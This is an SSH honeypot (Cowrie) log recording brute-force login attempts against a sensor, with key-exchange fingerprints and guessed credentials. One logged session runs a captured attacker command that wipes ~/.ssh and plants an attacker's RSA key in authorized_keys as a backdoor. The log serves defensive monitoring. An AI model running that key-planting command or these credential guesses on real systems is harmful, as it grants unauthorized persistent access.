{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:18.668687Z","src_ip":"159.203.92.129","session":"1cf94a458e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"zaq12wsx","message":"login attempt [ansible/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:18.733646Z","src_ip":"159.203.92.129","session":"1cf94a458e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:19.742266Z","src_ip":"159.203.92.129","session":"1cf94a458e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":37696,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a62d292ef64","protocol":"ssh","message":"New connection: 162.223.91.130:37696 (10.17.0.5:22) [session: 0a62d292ef64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:45.613044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:45.617671Z","src_ip":"162.223.91.130","session":"0a62d292ef64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:45.640529Z","src_ip":"162.223.91.130","session":"0a62d292ef64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbadmin","message":"login attempt [root/dbadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:45.745657Z","src_ip":"162.223.91.130","session":"0a62d292ef64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:46.767580Z","src_ip":"162.223.91.130","session":"0a62d292ef64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":10692,"dst_ip":"159.203.135.109","dst_port":22,"session":"2230ab156388","protocol":"ssh","message":"New connection: 118.193.33.81:10692 (159.203.135.109:22) [session: 2230ab156388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:47.448022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:47.455498Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:47.670843Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1","message":"login attempt [oracle/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:48.520689Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:49.015410Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:49.019038Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:49.022903Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:49.244126Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:49.716397Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:49.719917Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:49.938898Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:49.942076Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":10698,"dst_ip":"159.203.135.109","dst_port":22,"session":"2589fe3ad407","protocol":"ssh","message":"New connection: 118.193.33.81:10698 (159.203.135.109:22) [session: 2589fe3ad407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:50.154739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:50.160253Z","src_ip":"118.193.33.81","session":"2589fe3ad407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:50.380412Z","src_ip":"118.193.33.81","session":"2589fe3ad407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:51.290293Z","src_ip":"118.193.33.81","session":"2589fe3ad407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:52.519572Z","src_ip":"118.193.33.81","session":"2589fe3ad407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":10702,"dst_ip":"159.203.135.109","dst_port":22,"session":"8920a4318ce4","protocol":"ssh","message":"New connection: 118.193.33.81:10702 (159.203.135.109:22) [session: 8920a4318ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:52.727344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:52.733964Z","src_ip":"118.193.33.81","session":"8920a4318ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:52.950272Z","src_ip":"118.193.33.81","session":"8920a4318ce4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:54.331679Z","src_ip":"118.193.33.81","session":"8920a4318ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:54.557910Z","src_ip":"118.193.33.81","session":"2230ab156388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:54.561959Z","src_ip":"118.193.33.81","session":"8920a4318ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":51258,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c5a29acb3f7","protocol":"ssh","message":"New connection: 81.30.162.19:51258 (159.203.135.109:22) [session: 1c5a29acb3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:59.756792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:59.760539Z","src_ip":"81.30.162.19","session":"1c5a29acb3f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:30:59.880523Z","src_ip":"81.30.162.19","session":"1c5a29acb3f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"7","message":"login attempt [user/7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:00.396745Z","src_ip":"81.30.162.19","session":"1c5a29acb3f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:01.519909Z","src_ip":"81.30.162.19","session":"1c5a29acb3f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54664,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fb18d3ef5fa","protocol":"ssh","message":"New connection: 159.203.92.129:54664 (159.203.135.109:22) [session: 0fb18d3ef5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:03.957103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:03.961760Z","src_ip":"159.203.92.129","session":"0fb18d3ef5fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:03.967484Z","src_ip":"159.203.92.129","session":"0fb18d3ef5fa","protocol":"ssh"}
